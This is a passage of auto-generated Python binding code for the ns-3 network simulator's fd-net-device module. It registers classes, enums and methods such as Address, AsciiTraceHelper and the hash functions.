'core'): ns3::EmptyAttributeValue [class] module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## emu-fd-net-device-helper.h (module 'fd-net-device'): ns3::EmuFdNetDeviceHelper [class] module.add_class('EmuFdNetDeviceHelper', parent=root_module['ns3::FdNetDeviceHelper']) ## event-impl.h (module 'core'): ns3::EventImpl [class] module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) ## unix-fd-reader.h (module 'core'): ns3::FdReader [class] module.add_class('FdReader', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> >']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class] module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class] module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class] module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class] module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class] module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class] module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class] module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class] module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class] module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class] module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## net-device.h (module 'network'): ns3::NetDevice [class] module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object']) ## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration] module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network') ## nix-vector.h (module 'network'): ns3::NixVector [class] module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) ## node.h (module 'network'): ns3::Node [class] module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object']) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class] module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class] module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class] module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) ## packet.h (module 'network'): ns3::Packet [class] module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) ## tap-fd-net-device-helper.h (module 'fd-net-device'): ns3::TapFdNetDeviceHelper [class] module.add_class('TapFdNetDeviceHelper', parent=root_module['ns3::EmuFdNetDeviceHelper']) ## nstime.h (module 'core'): ns3::TimeValue [class] module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## type-id.h (module 'core'): ns3::TypeIdChecker [class] module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## type-id.h (module 'core'): ns3::TypeIdValue [class] module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## address.h (module 'network'): ns3::AddressChecker [class] module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## address.h (module 'network'): ns3::AddressValue [class] module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDevice [class] module.add_class('FdNetDevice', parent=root_module['ns3::NetDevice']) ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDevice::EncapsulationMode [enumeration] module.add_enum('EncapsulationMode', ['DIX', 'LLC', 'DIXPI'], outer_class=root_module['ns3::FdNetDevice']) ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDeviceFdReader [class] module.add_class('FdNetDeviceFdReader', parent=root_module['ns3::FdReader']) ## Register a nested module for the namespace FatalImpl nested_module = module.add_cpp_namespace('FatalImpl') register_types_ns3_FatalImpl(nested_module) ## Register a nested module for the namespace Hash nested_module = module.add_cpp_namespace('Hash') register_types_ns3_Hash(nested_module) def register_types_ns3_FatalImpl(module): root_module = module.get_root() def register_types_ns3_Hash(module): root_module = module.get_root() ## hash-function.h (module 'core'): ns3::Hash::Implementation [class] module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash32Function_ptr') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash32Function_ptr*') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash32Function_ptr&') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash64Function_ptr') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash64Function_ptr*') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash64Function_ptr&') ## Register a nested module for the namespace Function nested_module = module.add_cpp_namespace('Function') register_types_ns3_Hash_Function(nested_module) def register_types_ns3_Hash_Function(module): root_module = module.get_root() ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class] module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class] module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class] module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class] module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) def register_methods(root_module): register_Ns3Address_methods(root_module, root_module['ns3::Address']) register_Ns3AsciiTraceHelper_methods(root_module, root_module['ns3::AsciiTraceHelper']) register_Ns3AsciiTraceHelperForDevice_methods(root_module, root_module['ns3::AsciiTraceHelperForDevice']) register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList']) register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item']) register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer']) register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator']) register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator']) register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item']) register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList']) register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator']) register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item']) register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase']) register_Ns3CriticalSection_methods(root_module, root_module['ns3::CriticalSection']) register_Ns3DataRate_methods(root_module, root_module['ns3::DataRate']) register_Ns3EventId_methods(root_module, root_module['ns3::EventId']) register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher']) register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address']) register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask']) register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address']) register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix']) register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address']) register_Ns3NetDeviceContainer_methods(root_module, root_module['ns3::NetDeviceContainer']) register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer']) register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase']) register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter']) register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory']) register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata']) register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item']) register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator']) register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator']) register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item']) register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList']) register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData']) register_Ns3PcapFile_methods(root_module, root_module['ns3::PcapFile']) register_Ns3PcapHelper_methods(root_module, root_module['ns3::PcapHelper']) register_Ns3PcapHelperForDevice_methods(root_module, root_module['ns3::PcapHelperForDevice']) register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator']) register_Ns3SystemCondition_methods(root_module, root_module['ns3::SystemCondition']) register_Ns3SystemMutex_methods(root_module, root_module['ns3::SystemMutex']) register_Ns3Tag_methods(root_module, root_module['ns3::Tag']) register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer']) register_Ns3TimeWithUnit_methods(root_module, root_module['ns3::TimeWithUnit']) register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId']) register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation']) register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation']) register_Ns3Empty_methods(root_module, root_module['ns3::empty']) register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t']) register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk']) register_Ns3FdNetDeviceHelper_methods(root_module, root_module['ns3::FdNetDeviceHelper']) register_Ns3Header_methods(root_module, root_module['ns3::Header']) register_Ns3Object_methods(root_module, root_module['ns3::Object']) register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator']) register_Ns3PcapFileWrapper_methods(root_module, root_module['ns3::PcapFileWrapper']) register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) register_Ns3SimpleRefCount__Ns3FdReader_Ns3Empty_Ns3DefaultDeleter__lt__ns3FdReader__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> >']) register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) register_Ns3SimpleRefCount__Ns3SystemThread_Ns3Empty_Ns3DefaultDeleter__lt__ns3SystemThread__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> >']) register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) register_Ns3SystemThread_methods(root_module, root_module['ns3::SystemThread']) register_Ns3Time_methods(root_module, root_module['ns3::Time']) register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor']) register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer']) register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor']) register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker']) register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue']) register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker']) register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase']) register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue']) register_Ns3DataRateChecker_methods(root_module, root_module['ns3::DataRateChecker']) register_Ns3DataRateValue_methods(root_module, root_module['ns3::DataRateValue']) register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue']) register_Ns3EmuFdNetDeviceHelper_methods(root_module, root_module['ns3::EmuFdNetDeviceHelper']) register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl']) register_Ns3FdReader_methods(root_module, root_module['ns3::FdReader']) register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker']) register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue']) register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker']) register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue']) register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker']) register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue']) register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker']) register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue']) register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker']) register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue']) register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice']) register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector']) register_Ns3Node_methods(root_module, root_module['ns3::Node']) register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker']) register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue']) register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper']) register_Ns3Packet_methods(root_module, root_module['ns3::Packet']) register_Ns3TapFdNetDeviceHelper_methods(root_module, root_module['ns3::TapFdNetDeviceHelper']) register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue']) register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker']) register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue']) register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker']) register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue']) register_Ns3FdNetDevice_methods(root_module, root_module['ns3::FdNetDevice']) register_Ns3FdNetDeviceFdReader_methods(root_module, root_module['ns3::FdNetDeviceFdReader']) register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation']) register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a']) register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32']) register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64']) register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3']) return def register_Ns3Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## address.h (module 'network'): ns3::Address::Address() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor] cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [copy constructor] cls.add_constructor([param('ns3::Address const &', 'address')]) ## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function] cls.add_method('CheckCompatible', 'bool', [param('uint8_t', 'type'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyAllFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function] cls.add_method('CopyAllTo', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'uint32_t', [param('uint8_t *', 'buffer')], is_const=True) ## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'buffer')]) ## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function] cls.add_method('GetLength', 'uint8_t', [], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function] cls.add_method('IsInvalid', 'bool', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function] cls.add_method('IsMatchingType', 'bool', [param('uint8_t', 'type')], is_const=True) ## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function] cls.add_method('Register', 'uint8_t', [], is_static=True) ## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'buffer')], is_const=True) return def register_Ns3AsciiTraceHelper_methods(root_module, cls): ## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper(ns3::AsciiTraceHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::AsciiTraceHelper const &', 'arg0')]) ## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper() [constructor] cls.add_constructor([]) ## trace-helper.h (module 'network'): ns3::Ptr<ns3::OutputStreamWrapper> ns3::AsciiTraceHelper::CreateFileStream(std::string filename, std::_Ios_Openmode filemode=std::ios_base::out) [member function] cls.add_method('CreateFileStream', 'ns3::Ptr< ns3::OutputStreamWrapper >', [param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode', default_value='std::ios_base::out')]) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultDequeueSinkWithContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultDequeueSinkWithoutContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultDropSinkWithContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultDropSinkWithoutContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultEnqueueSinkWithContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultEnqueueSinkWithoutContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultReceiveSinkWithContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('DefaultReceiveSinkWithoutContext', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')], is_static=True) ## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function] cls.add_method('GetFilenameFromDevice', 'std::string', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')]) ## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function] cls.add_method('GetFilenameFromInterfacePair', 'std::string', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')]) return def register_Ns3AsciiTraceHelperForDevice_methods(root_module, cls): ## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice(ns3::AsciiTraceHelperForDevice const & arg0) [copy constructor] cls.add_constructor([param('ns3::AsciiTraceHelperForDevice const &', 'arg0')]) ## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice() [constructor] cls.add_constructor([]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename=false) [member function] cls.add_method('EnableAscii', 'void', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ptr<ns3::NetDevice> nd) [member function] cls.add_method('EnableAscii', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ptr< ns3::NetDevice >', 'nd')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, std::string ndName, bool explicitFilename=false) [member function] cls.add_method('EnableAscii', 'void', [param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'explicitFilename', default_value='false')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string ndName) [member function] cls.add_method('EnableAscii', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'ndName')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NetDeviceContainer d) [member function] cls.add_method('EnableAscii', 'void', [param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NetDeviceContainer d) [member function] cls.add_method('EnableAscii', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NetDeviceContainer', 'd')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NodeContainer n) [member function] cls.add_method('EnableAscii', 'void', [param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NodeContainer n) [member function] cls.add_method('EnableAscii', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NodeContainer', 'n')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool explicitFilename) [member function] cls.add_method('EnableAscii', 'void', [param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'explicitFilename')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, uint32_t nodeid, uint32_t deviceid) [member function] cls.add_method('EnableAscii', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiAll(std::string prefix) [member function] cls.add_method('EnableAsciiAll', 'void', [param('std::string', 'prefix')]) ## trace-helper.h (module 'network'): void 